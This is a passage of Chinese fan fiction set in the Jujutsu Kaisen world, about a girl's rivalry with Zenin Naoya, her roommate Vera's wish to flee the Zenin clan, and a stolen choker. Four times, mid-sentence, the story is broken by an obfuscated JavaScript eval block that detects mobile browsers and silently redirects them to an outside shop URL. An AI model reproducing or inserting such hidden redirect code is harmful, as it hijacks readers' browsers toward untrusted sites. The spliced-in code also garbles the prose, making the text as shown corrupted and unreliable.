从这个角度看人太费劲了,你的脖颈会发出“禁止虐待人体器官!”的宣言。你想了想,直接蹲下来,垂下的双臂随意搁在膝盖上,这下你们的视线差不多就能齐平了。可根本来不及说点什么,他的叫嚷又砸向水面了。 准确地说,他的叫嚷有点像是尖叫,是他身为禅院家男儿的尊严被践踏(自认为)后发出的呼喊。 “不许摆出这副姿势!你当我是小孩吗,非要蹲着和我说话!” 不,绝不是自认为,他笃定你的行为就是在对他不敬! 你是不太懂他的自信心为什么会为了这点小事受挫啦,本来你也只是为了方便看着他的眼睛说话,所以才把自己缩成一团的。既然他不乐意这样,且你也觉得站直更舒服,毫无异议地照做了——你从来都不会故意和直哉作对,可惜这一点他从来都没有意识到。 他只察觉到了很尴尬的另一点。 禅院直哉很不愉快地发现,当你站着看他,彼此之间巨大的高度差距会让你垂眸投下的目光怎么看都很像是俯视,就算你的目光里不存在任何负面或是鄙夷的情绪,从直哉的角度望过去,难免带着几份被轻视的不快。 除了家主老爹,直哉决不允许其他任何人用这样的目光看他。 可问题是,他同样也不喜欢你蹲下来哄小孩似的姿势。看来得从根源解决问题才行。 “拉我上来。快点。” 他像使唤家里其他人那样使唤你,却不主动伸出手,所以这话绝不是求助。 你同样没有做出什么动作,双手依然垂在身旁,就算被他不停催促,你也只是询问:“如果掉进水里的是我,当我向你求助的时候,你会拉我一把吗?” 直哉被你气笑了。他很难相信你会说出这么可笑的话,难怪要在笑完之后再轻哼一声,接连的小动作把池水搅得好浑。 “怎么可能。你在做梦吗?” 他觉得你是笨蛋。 要是情况逆转为你所说的那样,他没有踩着你的脑袋把你按进水里,已经算得上是他的大慈大悲在发挥作用了。居然奢望他提供援手?直哉真不想知道,在你的心里的他的形象到底是怎么一副懦弱的模样。 予以帮助绝不是懦弱行径,至少你是这么认为的。你其实只是想知道他的决定,以此作为蓝本,描绘出你接下来的行动。 也就是说,你不会向他伸出手。 “连你都不情愿去做的事情,我也不会做。”你很认真地盯着他的眼睛说,“池子很浅,你用手撑一下就能上来了。或者你也可以让我叫别的愿意做这事的人过来——这事我倒是没有不情愿做。” 你实在是个开口说话就足够让人气得牙痒痒的小孩,话音刚落,直哉已经想要从水里爬出来揍你了。 还好还好,你溜得够快,不会给他半点可乘之机,而直哉也急于摆脱此刻的狼狈姿态(要是被旁人看到了还像什么话!),无法追着你的脚印继续未尽的扯头花。 顺便,他也意识到了,与你之间的正面肉搏必然会害他处于下风。 直哉知道自己厉害,无论是咒力、术士、体术还是咒术的使用,他都是这一代遥遥领先的天才,所以这个家才把继承人的希望戴在了他的头上。 他也知道你各方面都不如他,唯独赤手空拳的战斗不在落于人后的行列之中。 你像个被直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17277970|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉驱动的非人生物,明明速度不是最快,力度也不是最大,却总能看穿进攻的空隙,在最精准的时刻给出最精准的打击,甚至无所谓被打中。 十足的怪胎。 直哉在心里骂你。他的“驱逐五十里鸣神”的计划需要重新提上日程了。 以此作为标志,直哉终于恢复了往日的样子。甚尔叛逃的引起小小阴云,只要伴随着时间的前进,总能从他的内心与这座宅邸消失,就算是缺少一人的空缺也会被很快补上。有几个咒术师在行动中不幸去世,也会有新的孩子诞生在漆黑的屋檐下,当你的术式在数百日的训练中趋于稳定时,和你同住的禅院家姐姐也出嫁了。 对于她的夫家,你知之甚少。她也一样。 像每个生在禅院家却没有天赋火机遇成为咒术师的女人,她的价值剩下最纯粹最原始的功能,嫁到能与禅院差不多匹配的咒术名门是从小她就知晓的命运。早早铺垫好的心理准备让她对结婚这件事毫不意外,但你不知道她是否会感到恐惧或是忧虑——要是有人很突然地对你说,一个月之后你就要成为谁谁谁的妻子,你肯定觉得这消息比尸体还要吓人。 和你同住的姐姐的出嫁也是禅院家的空缺。和死去的或是叛逃的一样,空缺很快就会补上。 才过了几个月,房间里空荡荡的床铺就摆上了天鹅湖的音乐盒,彩绘的木质套娃列成一排。它们隶属于禅院维拉。 维拉比你大三岁,再过不多久就要过十四岁的生日了,尽管这个家里估计没人会记住这种无关紧要的事情,她也不会主动和什么人说。 她的话太少了,不像之前和你同住的禅院家姐姐,偶尔还和你说起一些家里的事情。她不想谈论禅院家,也无处知晓这个家的大事小事,如同藏在套娃最里面的那个小娃娃。当她用深灰色的眼睛看你时,你只会感觉到北国的风雪。 她的处境和你不相上下,人人都觉得,这个年纪才回到本家的后代算不上是什么了不起的家伙,就算她长了一张很典型的禅院家的脸也无济于事。不过,同病相怜不是你们成为了朋友的原因。 仔细想想,你也不知道你们是怎么成为朋友的。你好像就是自然而然地知道了她的母亲是分家的女儿,因此才能不那么受约束地跑去俄罗斯和当地的小白脸结婚生子。来到东洋岛国的理由很简单,她拥有成为咒术师的才能,而这个家最需要天赋。无视了任何人的意愿,她被带离了故乡,再也没可能和她的父母见面,就连禅院维拉也是她护照上的新名字,维拉本人的原名长得可怕,无论说几次,你都记不住她叫维多利亚·拉里索芙娜·梅德韦杰娃。她的母语对你来说太拗口了,正如你的母语给她带来的困扰一样,所以她才很少说话。 她本来就不爱说话,也说不来。 但你记得,她对你说的第一句话是—— ——“这里不自由,我不喜欢。我想离开。” 18.离开的可能性 禅院维拉说出“离开”时,你们正在遥望今年最圆满最庞大的圆月。刚做完本年度体检的你浑身不舒服,都怪新来的医生手脚不知轻重,一会儿掰扯你的双臂一口气背后,一会儿又要求你把躯干整个向后折叠,就算你的身体柔韧度还算不错,也不能把你的当做没骨头的橡皮娃娃折腾啊。 满脑子还想着体检途中留下的不愉快回忆,在听到维拉开口说话的时候,你理所应当地愣了愣,比起“维拉原来会说话啊”的念头,更先一步冒出来的心思居然是“原来维拉不会一开口就骂我啊”。 你一直觉得维拉会开口骂你,这大概是你乱七八糟的想象力促成的结果,但你肯定不会承认这一点,而是会说,一定是因为维拉那头橙得发红的长发和前几年热播的机甲动画片里的女角色如出一辙,就连父母的一方是外国人、在某个方面格外有天赋、于十几岁时来到日本的设定都无比相似,且这个角色最常对男主角破口大骂“你笨蛋吗?”——更不巧的是,你的姓氏正好和男主角的姓氏读音完全相同,念作ikari。 你简直理所应当地觉得,一旦维拉对着你开口,说出的也只会是那句“你笨蛋吗?”。 话虽如此,但你还是会偶尔不小心打翻维拉的漱口杯、无意间在走进房间时把她摆整齐的靴子踢飞、以及用来叫醒自己的闹钟响了三次却没有叫醒你而是把维拉从梦境中硬生生拽出来……唔,这些同住在一个屋檐下才会发生的小摩擦,倒是还没有构成维拉骂你的冲动呢。 无论如何,事实就是你的猜想出错了。禅院维拉不会骂你,她从小习得的礼貌不会让她做出这种没礼貌的事情,况且她也无所谓你这点小小的粗心大意——这部分倒是和她的礼貌无关了,纯粹是她情愿容忍不姓禅院的你。且你偶尔笨拙的行为,会让她觉得你是个有人味的家伙。 而不是像这个宅邸的其他人,把能力与等级的高低深深刻在脑袋里,一举一动都带着腐朽的刻板行为,她都分不出自己是讨厌他们,还是惋惜他们了。 这也是为什么,她会在你面前破剖白自我,告诉你她讨厌这里,想要离开这里。 “我想回家。” 她收回了送给月亮的目光,深灰色的眼睛转而望着你,接着说, “回到我和爸爸妈妈在的那个家。我想回到西伯利亚。” 无论在何地见到的月亮,都足够唤起思念与乡愁。倘若你认真上了国文课就该记住这个道理。可你完全没有想起此事,你只是注视着维多利亚·拉里索芙娜·梅德韦杰娃这双悲伤的眼睛,从其中看到了自己惊愕的倒影。 你不是在惊讶她会说出此等算得上大逆不道的话语,而是惊讶于自己。 你惊讶于,你竟然从没有冒出过念家的想法。 你很少想起和爸妈一起住在轻井泽的事情,也没那么怀念夏日里与他们一起在绿意盎然的森林里走路。母亲牵着你的手带你认清脚下的动物与小虫,这样恬静而美好的记忆,从来都没有以珍贵且悲伤的情状从你的脑海深处再度浮起,你也没那么思念爸爸用长满胡茬的下巴磨蹭你的脸颊时大家一起笑哈哈的场景。 你丝毫不想家,丝毫不怀念爸妈,丝毫没有考虑过离开禅院的可能性。 离开,等于叛逃,等于禅院甚尔,等于…… 离开的可能性再一次从你的脑袋里浮起来,这次你开始思考了,可惜思绪缠成一团乱麻。你完全不知道自己思考了一些什么,也不知道已经应该拥有怎样的念头,又或者是该赞同维拉还是劝她打消念头,甚至是严厉地何止她别用不敬的想法。 你相当茫然,大概是短短生命中最困惑的一次了。而困惑的人所做出的举动总是惊人得相似——你笨拙地笑了一下,发出干涸的“哈哈”。 维拉蹙眉。她的眉眼长得很英气,也很禅院,蹙起来时,多少带着一点凌冽的意味。 她不理解你为什么笑嘻嘻的,正如她也不理解其他人平常为何没事就要笑。被西伯利亚的冬风吹拂着长大的她,面部肌肉都要和那里的冻土同化了,硬邦邦地无法被任何情绪撬动,固执地认为笑嘻嘻的人看起来很傻。但这不意味着她没有情绪,只是藏在了更深处而已。 所以现在她觉得你也挺傻的。 “是我没有说清楚吗?” 她不标准的语调和面孔一样硬邦邦,但紧随其后的却是对你的道歉。 “对不起,你知道的,你们的母语是我最近才学习的外语。如果我的话让你感到不理解,请告诉我,我会改正。”她顺便将刚才已经说得很标准、语法也很正确的话语再次重复了一遍,“我想要说的是,我讨厌禅院家,我一定会离开这里。” “哦——” 你收起笨拙的笑容,感觉乱七八糟的心思好像消停一点了,尽管还是没能理出什么正经的头绪,好在你总算能够说点像样的话语了。 “为什么想要离开?” 好吧,这话听起来也够笨拙够蠢的。 还好还好,维拉不会因此嫌弃你——都说了,她很愿意容忍你的。她也不责怪你无法理解她,她坚信像你这种从小就被禅院家纳入屋檐下的小孩,从身体到心灵都已经被此地的腐臭味改造了大半。 她会坦白地告诉你:“这里不自由。我在西伯利亚的时候很自由。我可以出去玩雪,爸爸会带我去集市上看冰雕。我想做什么都可以,但在这里,不行。我没办法像你那样为所欲为地打别人。我不喜欢对战。” “哦——我也没有为所欲为吧?” 你抓抓脑袋,感觉这个词用在小太子直哉的身上才更加合适一点。 维拉垂下眼睛,很抱歉的样子,“你知道的,我对这门语言掌握得很糟。” “没事啦,我没说你不好。”你摆摆手,匆忙扯开话题,“那你要怎么离开?” “现在不行,我走不了。未来我一定会离开。如果你想走,我们一起走;要是你不走,请替我保密。” 她等待着你的答案,你却说不出话来。你不确定自己是怎么想的,也不知道是否应该劝她打消念头。你没那么讨厌禅院家,同样不太能和维拉共情,所有心情不纯粹地掺杂在一起,无法为你指明应有的决定。 表现得过分纠纠结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282688|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结,多少有些太不像样,你只好暂且说,无论如何都会替她保守秘密。维多利亚·拉里索芙娜·梅德韦杰娃点点头,走回了房间里,徒留你在月光下。 在那天之后,倒是再也没听维拉说起过离开之类的话语了,在这个家中感到的格格不入所带来的隔阂感,也不曾从她的脸上显现。渐渐的,她好像没有那么格格不入了。 说到底,她可是继承了禅院血脉的后代,是足够有实力到哪怕身处地球的极北端也会被这个家追上的有才者,用能力和血脉,维拉足够在这个家立足。你猜想她应该没那么想要离开了,逐渐也就忘记了她说过的一定要离开禅院宅邸的信念。 再说了,你也有自己的烦恼呢。 你已经知道了自己的术式。那不再是禅院直毘人说的模模糊糊的话语,已然变成了切切实实的实际。 你的术式名为风海流,是暂时没有任何相符纪录的崭新术式,能力说强不强,说弱也不弱,正如直毘人所描述得那样,能够吸收雷电被释放。但你很快发现,你能够吸收的元素不止雷电而已。 看不见的风、没有实体的火焰、流淌不停的水泽,只要是此类捉摸不透的自然元素,好像都能轻而易举地被你的身体吸收,在有需要的时刻或彻底储存不住的极限(通常这个极限是一周)时释放出来。 你一度怀疑自己的身体里藏着一块巨大的海绵,或者是魔法皮囊,就好像那本英国作家写的奇幻魔法小说里施展了无痕伸展咒的口袋,彻底变成了四维空间。 要是真有海绵,貌似有点可怕。你特地在体检的时候拜托医生们为你做了全身CT,最近结果才出来,你皮囊之下的部分和正常人类完全一致,既没有海绵也没有口袋,能做到了不起的事情完全是因为你的术式还挺了不起。你居然觉得好失望——在意识到身体里没有海绵之后,你才觉得有块海绵是一件很酷的事情。 你失落地把医生对于CT结果的信件塞回口袋里,带着沉沉的身体走向道场,准备开始午后的训练。在谁都看不见也摸不着的你的身体的某个角落,正满当当藏着二十升的水。这已经超过你能够储存的上限了,害得你的日常行动都被牵绊得困难,仿佛咒力时刻都要突破界限。 按照专门负责术式指导的师傅的说法,你能够做到的绝不止于此,要求你时刻都要超过上限,这样才能把阈值提高。 理论是否真的可信,你不敢确定,总之小步小步往前走总没错。你可不想一动就漏水。 距离道场还有三百米,身后飘来一阵渺小且突兀的风。你往侧旁躲开,原本应该砸中你后脑勺的小石头落到了地上,轱辘轱辘滚得好远。你回头去看你,后方正站着失望的直哉和他的小跟班们,其中一人还保持着投石的动作,看来这块石头的短暂旅行是他的杰作。 “躲什么啊,五十里。” 直哉不满你的敏捷——对于过分敏捷的身手和没能砸中的落空都挺不满的。 不满可不便说出口,他已经学会了冠冕堂皇的说话艺术,只说:“你要不要试试你的术式能不能储存固体物质,比如石头之类的?” 19.食我正义水枪啦! 就算是套上一层很像样、很真诚、很正确的说辞,禅院直哉的坏心思还是难以藏住,邪恶的触角探来探去,急切地渴望勾到你的肩膀上。然而你完全没有发现他的邪恶心思。 可能是你挺迟钝,或者是因为直哉的语气带着一种略显真切的真诚感,把你彻底唬过去了,你完全不会质疑他的用意是好还是坏。 唬过去归唬过去,不质疑归不质疑,你完全不打算接受他的“友好”提议。 “之前已经尝试过了,我的术式没有办法吸收或是储存固体的东西。我要拒绝你的建议。” 你耸耸肩膀,顺便添上一句。 “而且我现在不想这么做。” 你的术式正满当当地兜着二十升的水,光是包裹这些东西都已经让你觉得身心俱疲了,就算你的术式真能容纳石头,你也不情愿这么做。你早就学过了乌鸦喝水的故事,知道石头增加的体积会让水溢出来,而你已经到极限了。 “拒绝”“不想”。世上绝对没有人会对直哉当面说出这种词——除了他的家主老爹之外。 换言之,只有上位者的拒绝是他可以接受的。你这种小喽啰也配和他唱反调吗? 冠冕堂皇的说话艺术暂且还没能让他学会实时贯彻扑克脸,况且他也没那么乐意在你眼前死装。在你这种笨蛋勉强摆出的伪装压根没用……哦,不对。应该是,他根本不屑于在你面前装模作样,才不是因为伪装不起作用! 这就是为什么,他会在一秒之间收敛起笑眯眯的面孔,眉梢也一并阴沉下来,丢出一句:“想也知道你是个不思进取的家伙,但禅院家不需要你这种停在原地的废物。既然我提出了建议,你就应该接受,就像这个家的其他人那样。” 他现在还算不上是厉害的演说家(其实未来也没能成为这种了不起的角色),不过也能得到小跟班们的一呼百应,“就是就是!”的呼应声此起彼伏,你却依然困惑。 “可我说了‘不’,直哉你完全不听人说话吗?”你露出恰到好处的纳闷,因为你真的挺纳闷,“你应该把别人的话语放在心上才行,不听人说话可不好。” 哈——你这话简直比他还要冠冕堂皇了,甚至还带着近似爹味的说教,天晓得他真正的爹都不会这么教育他。 他的家主老爹只会把他的优秀表现当做理所应当,劝诫他必须变得越来越强。什么教导呀赞美呀指引呀之类的话语,差不多完全不会和他说。直哉也不乐意听这种小家子气的叽叽歪歪从了不起的家主爸爸的口中说出,更不可能希望此等话语由你说出来。不爱听的内容被不喜欢的人说出来,他的表情都要裂了。 “你的观点和意见不重要,我根本不会采纳。我说了什么就是什么!” 扔出这句狠话,他决心不再和你纠缠,小手一挥,跟班们得令,立刻行动起来,抓起早已准备好的石头朝你丢过来,奸笑的模样好邪恶。 落石像雨水,密密麻麻地淋过来,轨迹也如雨水那样容易摸透。你匆忙躲开,脚尖刚点到地面就不得不再度跃起。一颗石头都没能砸到你,最多只是在你巧克力色的发梢上蹭了一道灰。 直哉气恼着你没有吃到被石头砸破脑袋的苦头,一方面却又觉得你蹦跶着躲避攻击的样子像在跳可笑的舞,他几乎要笑起来,只是得意感尚且还没办法轻快地浮起。 既然现在得意不起来,接下来估计也无法冒出这般邪恶却愉快的心情了。比如现在,他已经笑不出来了,都怪一捧水不由分说地朝他迎面浇来,让他一秒钟之内变成了雪碧广告的主角。跟班们的叫嚷声此起彼伏地在耳边吵个不停。他们也遭殃了。 啊…… 不好意思,你漏水了。 你绝不是故意的,这完全是无心的意外——但多多少少,也算是意料之中? 早就说过了嘛,你目前正处在超负荷的承载状态,任何幅度过大的动作都很可能导致你的术式彻底无法网住。就连走路都要慢悠悠迈步的你非要像这样蹦来蹦去,怎么想是什么好事。你提醒过直哉了的。 话虽如此,你也没想到二十升水会一下子从掌心里呲出来,泄露量又大又急,就像拧开了水管阀门,根本停不下来,把眼前的小脑袋挨个淋遍。 嗯……这可真是尴尬呢…… 现状彻底尴尬到了让你忍不住苦笑的程度,但你苦巴巴的面孔落进直哉眼里,怎么看都像是幸灾乐祸的模样。 可这件事在此刻不重要,重要的是—— “为什么臭烘烘的啊!恶心得要死!” 他真的难受到要跳起来了,湿漉漉的身上一股死水的臭味,总觉得深绿色的衣襟上还沾着小小的水生植物的叶片。好崩溃。 “这水到底是从哪里来的!快坦白!” 实不相瞒,当直哉嚷嚷着丢出这番质问的时候,他并不是真的想要知道害得自己变成如此狼狈模样的水分源于何处。也就是说,这不是询问,倒更像是单方面的发泄,可惜你浑然不觉,且在尴尬心情的促使之下,你只能坦白的说,这是六天前小池塘换水时,你趁机借用的。 而且,那时候池水就已经泛着一股微妙(好在还没有太难闻)的味道了。 不必太疑惑池水为何会增加“风味”。被你的术式所吸收储存的元素还不能保持百分百的时间静止状态,在这六天时光里悄然发酵实属正常。 无论如何,你觉得这次做得不太好的人是你——浇人一身臭水可不是对被丢石头的最好回应,这部分不满你自会找个机会回报。而眼下需要弥补的,当然是你所犯下的过错。 你摸出手帕和纸巾,一包纸巾刚好够分给没主见的小跟班们,他们一副吃到柠檬的表情,不知道是嫌弃只比巴掌大一圈的纸巾不够用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292160|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还是惊讶于你居然也能表现出正常人会有的体贴。 最后的手帕留给直哉用。打头阵的他被浇得最惨,脸都被淋黑了,还是让吸水能力更好的你的手帕来发挥作用吧。 想也知道,直哉才不会对你的好心动容,一下子拍开你的手,痛骂你好脏,居然连脏兮兮的水都能放进身体里。你也不知道该怎么和他解释说这些水分完全不会经过你的身体。考虑到你在储存水分的时候确实需要用躯体的一部分进行触碰,那时候确实有点脏没错。但你已经把手洗干净了呀。 “所以说,你现在不可以用‘脏’这个形容词来描述我。”你认真地向他解释,前所未有的有耐心,“而且,我也不是自愿想要用小池塘的水啊。” 禅院家的庭院最中央有个方形的鱼池,不算很大,但极其清澈,以至于谁都想不到看起来浅浅的水底有两人深。你本来是想要借用那里的水,可刚探出手,指尖尚未来得及触碰到水面,全程都在盯着你的园丁风风火火跑过来,禁止你乱弄乱碰,从那之后也总是留神注意你。就此,你的水源一号彻底陷入了枯竭。 当然,也可以用水龙头里流出的自来水,可这回就要轮到管家抱怨你太浪费了,指责你是不是不知道全球水资源紧缺,接着就要嘀咕说被伺候的一方果然永远不知柴米油盐贵,禅院家的钱可是这个家的大人们出生入死赚来的,才不是大风刮来的,既然在禅院的庇护和恩泽下生活,你也得节省一点才对。 你想到了厨房后方的泔水桶里时不时见到的珍馐美馔,以此证明你也没那么浪费,可说出此事后却被面红耳赤的管家骂了一顿。你一贯不乐意挨骂,特地选在隔天偷偷打开了装着咒灵的忌库大门,害得管家在之后的几天忙碌得不行。但你也很听话,在那之后不再从水龙头里获取水分。 在这般那般的阻挠之下,只要等待换水的小池塘能够为你所用了。 “要是你下次不想再遇到同样的糟糕情况,可以劝管家允许我用自来水呀。” 自顾自替直哉摘掉头顶水草的时候,你顺势说。 你不觉得自己这话算是得寸进尺,和要挟更是无关。你只是在恰当的时机,说出了充满目的性的话语而已。 直哉冷哼一声走开,顺便抢走了你的手帕——绝不是拿来擦干污秽,而是要当着你的面揉成一团丢进草丛里。小跟班们也学着他的样子丢掉纸巾,结果被清理宅邸的下人指责说乱扔垃圾的反而成了你。你也无可奈何,心想从这些家伙的身上真是无法得到任何回报。 直哉依旧气呼呼。果然,只要和你有了过多接触,那他的一天就算是毁了。 想要不被你毁了,就要率先毁灭你。 似乎就是在下定了这番决心后的没几天,他曾经最爱的小跟班平良平野兄弟兴冲冲地来邀功。 他们偷到了你的chocker。 20.可乘之机 之所以说平良和平野两兄弟是禅院直哉“曾经最喜欢的小跟班”,当然要追溯到几年前的奈良事件,没能顺利让你彻底迷路的他们俩被少爷认定为能力不足,就此被甩在身后,少爷的认可和赏识也不复存在,尽管不至于凄凄惨惨,却也可怜得没边际了。 甩落的距离总能追上,消失的认可也一定可以再度得到。兄弟俩坚信一切都还有转机,就此走在了为你增添不快的第一线,想尽了办法要让“把五十里鸣神赶出禅院家”的计划彻底落实为事实。 这也是为什么,偶尔轮到你拿木刀的时候,木槽里会蛰伏着一条骇人的黑蛇;你的水杯里莫名其妙会被浸泡三只死青蛙,析出的粘液把你的大麦茶都搞混了;还有时不时就会出现在你鞋子里、让你迈出的每一步都印记明显的墨水,也是他们的杰作。 然而这一切都没派上用场。 你不怕蛇或者青蛙,脏兮兮的水杯和鞋子,稍稍花点时间洗干净就好了,反正的课余时间很无聊,把时间耗费在清洗上也无所谓。你完全不把这点小小恶搞放在心上,也不介意水杯里装过两栖动物的灵魂。反正一对一的时候把兄弟俩还有直哉的脑袋打肿就可以了——看嘛,你根本无所谓的。 维拉说你真是不拘小节,你夸维拉的发音越来越标准了连这么难的词都会说。你们俩谁都没把这点恶戏放在心上。 没能造成任何打击,无论再多的计谋,都只是一文不值的无用功。好在直哉本人替你找来不痛快也没能派上用场,相较之下,兄弟俩的失利倒是显得那么微不足道了。 少爷想要给人找不痛快,当然不必亲自动手,只要向下人们叮嘱几句,他们自会为少爷行事,在看不见的地方为你添堵。 只是,有些奇怪,他的耳旁风的效力通常不能持续太久,仆从们很快就会恢复往日的样子——似乎有其他人给出了新的命令,要求别对你做出任何苛刻或是无理的行为。 直哉始终问不出仆人们背后的另一个推手隶属于谁,好在他心里多少有数。能比家主继承人握住更说一不二的权力,只可能是家主。 直哉想起来了,极偶尔的时候,直毘人会向他询问你的情况,还问他是否认为你会成为足够强劲的咒术师。直哉当然要借这个千载难逢的机会贬低你,把你的无礼无能无趣统统数落个遍。 但有些奇怪,直毘人通常听得不那么认真,尤其是在他细数你低劣的性格时,只在说到你在道场的表现时,才会抬一下眼皮,稍稍调动一些心神去听。 “她最好是能像所有人期待的那样有才能,足够成为禅院家的新生力量。”听完后,直毘人这么说,“否则,带她回来的决定就该是失败的了。我一向没有那么喜欢承担风险。” 他不太懂家主老爹的意思,这番意味不明的感叹必定需要对应的前提才能听明白,譬如像是把你带到禅院家的真正理由。 直哉不是没有直白地向家主老爹询问,可醉醺醺的直毘人装出一副没听见的样子,任由心爱儿子的好奇从耳边溜走。也就是从那一刻,直哉意识到,把你赶走的计划估计无法真正实现,除非你是令人失望的蠢材——这个唯一例外的成功可能性,象征着他的计划绝没可能成功。 直哉当然不觉得你有天赋,但也无法为你贴上废物的标签。 如果在赤手空拳的肉搏中几乎不会吃亏的你是废物,被你好几次打败的他算是什么? 他无法真心实意地贬低你,也无法昧着良心认可你。唯一可以确信的是,他讨厌你。 就是这么让他厌恶的你的chocker,出现在了他的眼前。 平良和平野两兄弟喘着粗气站在他面前,紧张的心情直到此刻都还没缓解。 估计只有老天爷才能想象出他们借故翘掉今天的训练、在确信你一定不会出现在房间的时间段里避开所有人的目光偷溜进女眷的小院、拼命从你不算太整齐的床铺上蹑手蹑脚地寻找说不定今天会被你戴在脖子上、以至于害得他们刚刚的努力化作竹篮打水的chocker,会是多么惊险的体验。 真的,这一定比恐怖片还要吓人,毕竟那些故弄玄虚的跳吓本质只是娱乐的手段,就算不小心被吓得叫出了声,最多也只是被旁人嘲笑一番而已,除却自尊心受挫之外,一切都好。可要是在今日的潜入行动中失手……受罚都算是轻的了,根本不敢去想在此之上更有可能落在他们身上的后果。 谢天谢地,也要感激一贯敏捷的手脚外加好想立功的信念感,他们总算是毫发无伤地带着chocker来到了直哉的面前。扭曲的成功所带来的窃喜会让兄弟俩不自觉得翘起嘴角,气喘吁吁的疲惫看起来也像是小狗的邀功,看不见的尾巴都快摇断了。 “哦,是嘛。” 直哉淡淡地应着。 他看起来没那么激动,却也没有表面伪装得那么漠不关心。他用指尖挑起这条黑丝绒的纤细饰品,总觉得上面还残留着你的温度——其实只是丝绒材质带来的错觉。直哉没有意识到这一点,只满心嫌弃地把手伸远。 最第一次见到你时,你就戴着这条chocker,那时候它对你而言有些太大,宽松地落在你的锁骨上,看起来很不合适。他在与你相视的第一眼就注意到了这一点,以至于比起你的面容,他记得更清楚的是你的格格不入的装饰物。 青少年时期难免长得飞快,或许这条chocker很快就没办法再被你佩戴。这时候就该感谢足够的放量了,再加上戴了太久,黑丝绒的部分除了褪色之外,还幸运地变得稍稍松弛了一点,现在它会以相当贴合的模样,差不多每天都缠绕在你的脖颈上。 至于以后是不是会嫌弃它太小?嗯……以后的问题就等到以后再考虑吧,这是你的信条。 你当然也会有不戴chocker的时候。如果安排了力量训练,你一般不会允许它染上过多的汗水,所以偷摸摸的兄弟俩才找到了可乘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300990|197148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之机。 “说起来。”直哉垂下手,问平良和平野,“她的房间里还有其他的东西吗?我说的是那种类似于装饰物或者带有趣味性的东西。” “这个啊,唔……貌似没有。” 直哉皱眉,“‘貌似’算什么意思?” 他可不喜欢带有概率性的修饰词。 “啊啊!”赶紧改口,“确实没有。” “行,我知道了。” 直哉知道的小秘密是,不属于禅院家的、由你过去的生活中带来的这条chocker,是你唯一的宝物。你一定会无比珍视它,无比渴望找回它,无比…… “哎,维拉。” 听到轻得几乎不存在的脚步声迈过门槛,你就知道是维拉回来了,匆忙抬起头,问她, “你看到我的chocker了吗?” 维拉随手把刻着“禅院”字样的护甲丢到房间的角落里,不温柔的动作引发小小震荡,摆得齐整的俄罗斯套娃也倒了。她一边扶正心爱的小东西,一边四下张望,把没叠好的杯子弄得更加乱糟糟。 “没看到。不在我这里。” 自从你们开始同住起,偶尔总有你的东西出现在她那里,而她的所属物也会来到你的床上。而你以前和那位禅院家姐姐一起居住时可不会发生这种情况。想来想去,大概是因为禅院家姐姐总是在帮家里的长辈们做杂活,以至于连自己的所在的空间里也习惯性地想要保持洁净吧——而你和维拉是骨子里多多少少藏着粗心和懒惰的家伙。 你猜想是你的粗心作祟,才害得chocker消失无踪。可你明明都找过了房间的每一个角落,连榻榻米也已逐个翻起来查看,就算用手电筒照亮挤满灰尘的黑漆漆缝隙,你的chocker还是不见踪影。 难道落在宅邸的其他角落了?不应该吧。你的习惯一直都是在房间里解开chocker的扣子,它也没有老旧到会在走路的时候就松脱掉。 在你准备开动脑筋苦思冥想之时,一个比你稍小一些的女孩子来找你。她好像是直哉的某个妹妹,也难怪带来的是直哉的口信。 “哥哥叫你现在去见他。”她啃着金瓶糖,这是她替直哉传信而被他赏赐的报酬,为此她会很认真地催你,“是现在哦。快点去,你不能磨蹭。” 你对于直哉的邀请不那么关心。 “我还有事。”你坦白说。 倒不是说要找chocker的事,而是晚上会有总监部的咒术师来鉴定你的咒力和能力水平。 对于你作为人类和咒术师的水平,总监部似乎充满关心。 比起直哉的邀约,总监部显然更重要。他的妹妹当然不会理解这一点,她只知道收下了直哉的小恩惠就必须要做到该做的事,否则就要轮到她倒霉了。而你会被恶人哥哥怎么折腾,她无所谓,叫上其他人硬是把你拉到了直哉的面前。 总觉得会是烦人的会面。你想。 21.遗物 